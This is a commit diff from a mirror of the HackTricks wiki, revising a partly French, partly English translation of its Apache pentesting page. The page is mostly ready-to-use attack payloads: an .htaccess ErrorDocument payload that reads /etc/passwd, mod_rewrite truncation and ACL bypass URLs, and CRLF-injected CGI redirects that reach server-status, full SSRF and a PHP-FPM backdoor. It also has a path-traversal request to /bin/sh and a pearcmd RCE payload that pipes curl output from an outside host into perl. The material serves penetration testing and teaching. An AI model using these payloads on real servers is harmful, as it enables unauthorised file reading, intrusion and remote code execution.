maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

Browse Source
This commit is contained in:
Translator 2025-08-28 18:49:54 +00:00
parent f3a2454cfc
commit 21b361f40e
2 changed files with 432 additions and 391 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

668
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

155
src/network-services-pentesting/pentesting-web/apache.md
View File

@ -4,11 +4,11 @@
## Extensions PHP exécutables
Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
Vérifiez quelles extensions PHP sont chargées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Aussi, certains endroits où vous pouvez trouver cette configuration sont :
De plus, quelques endroits où vous pouvez trouver cette configuration sont :
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
Si vous pouvez contrôler le .htaccess d'un répertoire et que AllowOverride inclut FileInfo pour ce chemin, vous pouvez transformer les réponses 404 en lectures arbitraires de fichiers locaux en utilisant la fonction ap_expr file() à l'intérieur d'ErrorDocument.
- Exigences :
- Apache 2.4 avec le parser d'expressions (ap_expr) activé (par défaut dans 2.4).
- Le vhost/dir doit permettre au .htaccess de définir ErrorDocument (AllowOverride FileInfo).
- L'utilisateur worker d'Apache doit avoir les permissions de lecture sur le fichier cible.
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Se déclenche en demandant n'importe quel chemin inexistant sous ce répertoire, par exemple lors de l'abus de userdir-style hosting:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notes et astuces:
- Seuls les chemins absolus fonctionnent. Le contenu est renvoyé comme corps de la réponse pour le handler 404.
- Les permissions de lecture effectives sont celles de l'utilisateur Apache (typiquement www-data/apache). Vous ne pourrez pas lire /root/* ou /etc/shadow dans des configurations par défaut.
- Même si .htaccess appartient à root, si le répertoire parent appartient au tenant et permet le renommage, vous pourriez être capable de renommer le .htaccess original et uploader votre propre remplacement via SFTP/FTP :
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Utilisez ceci pour lire le code source de l'application sous DocumentRoot ou les chemins de config vhost afin de récupérer des secrets (DB creds, API keys, etc.).
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Ces types d'attaques ont été introduits et documentés [**par Orange dans cet article de blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) et ce qui suit est un résumé. L'attaque "confusion" abuse essentiellement de la façon dont les dizaines de modules qui travaillent ensemble pour créer un Apache ne fonctionnent pas parfaitement synchronisés et faire en sorte que certains d'entre eux modifient des données inattendues peut provoquer une vulnérabilité dans un module ultérieur.
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui s'articulent pour créer un Apache ne sont pas parfaitement synchronisés ; amener certains d'entre eux à modifier des données inattendues peut provoquer une vulnérabilité dans un module ultérieur.
### Filename Confusion
#### Truncation
Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement faux car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions, cela sera traité comme un chemin de fichier, ce qui pourrait poser un problème.
Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement incorrect car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions cela sera traité comme un chemin de fichier, ce qui poserait problème.
- **Path Truncation**
Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?`:
Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?` :
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Attribution trompeuse de RewriteFlag**
- **Mislead RewriteFlag Assignment**
Dans la règle de réécriture suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant à l'intérieur :
Dans la règle de rewrite suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Il est donc possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le path un autre type de fichier (comme une image) contenant du code php malveillant :
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -61,9 +89,9 @@ curl http://server/upload/1.gif
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **Contournement d'ACL**
#### **ACL Bypass**
Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas pouvoir accéder, même si l'accès devrait être refusé avec des configurations comme :
Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé avec des configurations comme :
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
C'est parce que par défaut, PHP-FPM recevra des URL se terminant par `.php`, comme `http://server/admin.php%3Fooo.php` et parce que PHP-FPM supprimera tout ce qui suit le caractère `?`, l'URL précédente permettra de charger `/admin.php` même si la règle précédente l'interdisait.
Ceci s'explique par le fait que, par défaut, PHP-FPM recevra les URLs se terminant par `.php`, comme `http://server/admin.php%3Fooo.php`, et que PHP-FPM supprimera tout ce qui suit le caractère `?`. L'URL précédente permettra ainsi de charger `/admin.php` même si la règle précédente l'interdisait.
### Confusion DocumentRoot
### Confusion autour de DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis la racine. Ainsi, une requête à `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` dans le système de fichiers. Ce qui peut essentiellement être exploité pour accéder à des fichiers dans le système de fichiers.
Une anecdote amusante à propos d'Apache est que la réécriture précédente va essayer d'accéder au fichier à la fois depuis le documentRoot et depuis root. Ainsi, une requête vers `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` sur le système de fichiers. Cela peut donc être abusé pour accéder à des fichiers du système de fichiers.
#### **Divulgation de Code Source Côté Serveur**
#### **Divulgation du code source côté serveur**
- **Divulguer le Code Source CGI**
- **Divulguer le code source CGI**
Il suffit d'ajouter un %3F à la fin pour divulguer le code source d'un module cgi :
Ajouter simplement %3F à la fin suffit pour leak le code source d'un module cgi:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -97,15 +125,15 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
```
- **Divulguer le code source PHP**
Si un serveur a différents domaines dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et divulguer du code php :
Si un serveur possède différents domaines, dont l'un est un domaine statique, cela peut être abusé pour parcourir le système de fichiers et leak php code:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulation des gadgets locaux**
#### **Local Gadgets Manipulation**
Le principal problème avec l'attaque précédente est qu'en règle générale, la plupart des accès au système de fichiers seront refusés comme dans le [modèle de configuration](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) du serveur HTTP Apache :
Le principal problème de l'attaque précédente est que, par défaut, la plupart des accès au système de fichiers seront refusés comme dans Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
```xml
<Directory />
AllowOverride None
@ -119,94 +147,94 @@ AllowOverride None
Require all granted
</Directory>
```
Par conséquent, il serait possible d'**abuser des fichiers situés dans `/usr/share` dans ces distributions.**
Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
**Gadget local pour la divulgation d'informations**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server** avec **websocketd** peut exposer le script **dump-env.php** à **/usr/share/doc/websocketd/examples/php/**, ce qui peut divulguer des variables d'environnement sensibles.
- Les serveurs avec **Nginx** ou **Jetty** pourraient exposer des informations sensibles sur les applications web (par exemple, **web.xml**) à travers leurs racines web par défaut placées sous **/usr/share** :
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables.
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Gadget local pour XSS**
**Local Gadget to XSS**
- Sur Ubuntu Desktop avec **LibreOffice installé**, exploiter la fonction de changement de langue des fichiers d'aide peut conduire à **Cross-Site Scripting (XSS)**. Manipuler l'URL à **/usr/share/libreoffice/help/help.html** peut rediriger vers des pages malveillantes ou des versions antérieures via **unsafe RewriteRule**.
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
**Gadget local pour LFI**
**Local Gadget to LFI**
- Si PHP ou certains packages front-end comme **JpGraph** ou **jQuery-jFeed** sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme **/etc/passwd** :
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Gadget local pour SSRF**
**Local Gadget to SSRF**
- En utilisant **MagpieRSS's magpie_debug.php** à **/usr/share/php/magpierss/scripts/magpie_debug.php**, une vulnérabilité SSRF peut être facilement créée, fournissant une porte d'entrée pour d'autres exploits.
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
**Gadget local pour RCE**
**Local Gadget to RCE**
- Les opportunités pour **Remote Code Execution (RCE)** sont vastes, avec des installations vulnérables comme un **PHPUnit** obsolète ou **phpLiteAdmin**. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, montrant le potentiel étendu de la manipulation des gadgets locaux.
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
#### **Jailbreak à partir des gadgets locaux**
#### **Jailbreak from Local Gadgets**
Il est également possible de jailbreaker à partir des dossiers autorisés en suivant les symlinks générés par les logiciels installés dans ces dossiers, comme :
It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
- **Cacti Log** : `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data** : `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config** : `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config** : `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config** : `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
De plus, en abusant des symlinks, il a été possible d'obtenir **RCE dans Redmine.**
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Cette attaque exploite le chevauchement de fonctionnalité entre les directives `AddHandler` et `AddType`, qui peuvent toutes deux être utilisées pour **activer le traitement PHP**. À l'origine, ces directives affectaient différents champs (`r->handler` et `r->content_type` respectivement) dans la structure interne du serveur. Cependant, en raison de code hérité, Apache gère ces directives de manière interchangeable dans certaines conditions, convertissant `r->content_type` en `r->handler` si le premier est défini et le second ne l'est pas.
This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **activer le traitement PHP**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
De plus, dans le serveur Apache HTTP (`server/config.c#L420`), si `r->handler` est vide avant d'exécuter `ap_run_handler()`, le serveur **utilise `r->content_type` comme handler**, rendant effectivement `AddType` et `AddHandler` identiques en effet.
Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
#### **Écraser le handler pour divulguer le code source PHP**
#### **Overwrite Handler to Disclose PHP Source Code**
Dans [**cette présentation**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), une vulnérabilité a été présentée où un `Content-Length` incorrect envoyé par un client peut amener Apache à **retourner le code source PHP**. Cela était dû à un problème de gestion des erreurs avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser `r->content_type` en `text/html`.\
Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP et ne l'interpréterait pas.
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
#### **Écraser le handler pour XXXX**
#### **Overwrite Handler to XXXX**
TODO : Orange n'a pas encore divulgué cette vulnérabilité
### **Inviter des handlers arbitraires**
### **Invoke Arbitrary Handlers**
Si un attaquant est capable de contrôler l'en-tête **`Content-Type`** dans une réponse du serveur, il sera en mesure d'**inviter des handlers de module arbitraires**. Cependant, au moment où l'attaquant contrôle cela, la plupart du processus de la requête sera déjà effectué. Cependant, il est possible de **redémarrer le processus de requête en abusant de l'en-tête `Location`** car si le `Status` retourné est 200 et que l'en-tête `Location` commence par un `/`, la réponse est traitée comme une redirection côté serveur et doit être traitée.
If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
Selon [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spécification sur CGI) dans [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) définit un comportement de réponse de redirection locale :
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> Le script CGI peut retourner un chemin URI et une chaîne de requête (‘local-pathquery’) pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit reprocesser la requête en utilisant le chemin spécifié.
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Par conséquent, pour effectuer cette attaque, l'une des vulnérabilités suivantes est nécessaire :
Therefore, to perform this attack is needed one of the following vulns:
- Injection CRLF dans les en-têtes de réponse CGI
- SSRF avec contrôle complet des en-têtes de réponse
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Handler arbitraire pour la divulgation d'informations**
#### **Arbitrary Handler to Information Disclosure**
Par exemple, `/server-status` ne devrait être accessible que localement :
For example `/server-status` should only be accessible locally:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête Location commençant par `/`
Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête `Location` commençant par `/`.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Gestionnaire arbitraire vers SSRF complet**
#### **Arbitrary Handler to Full SSRF**
Redirection vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL :
Rediriger vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL :
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux points de terminaison de métadonnées cloud.
Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux endpoints de métadonnées cloud.
#### **Gestionnaire arbitraire pour accéder au socket de domaine Unix local**
#### **Handler arbitraire pour accéder au Unix Domain Socket local**
Accédez au socket de domaine Unix local de PHP-FPM pour exécuter un backdoor PHP situé dans `/tmp/`:
Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans `/tmp/:`
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Gestionnaire arbitraire pour RCE**
#### **Arbitrary Handler to RCE**
L'image officielle [PHP Docker](https://hub.docker.com/_/php) inclut PEAR (`Pearcmd.php`), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE :
L'image officielle [PHP Docker](https://hub.docker.com/_/php) inclut PEAR (`Pearcmd.php`), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Vérifiez [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), écrit par [Phith0n](https://x.com/phithon_xg) pour les détails de cette technique.
Consultez [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), écrit par [Phith0n](https://x.com/phithon_xg) pour les détails de cette technique.
## Références
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}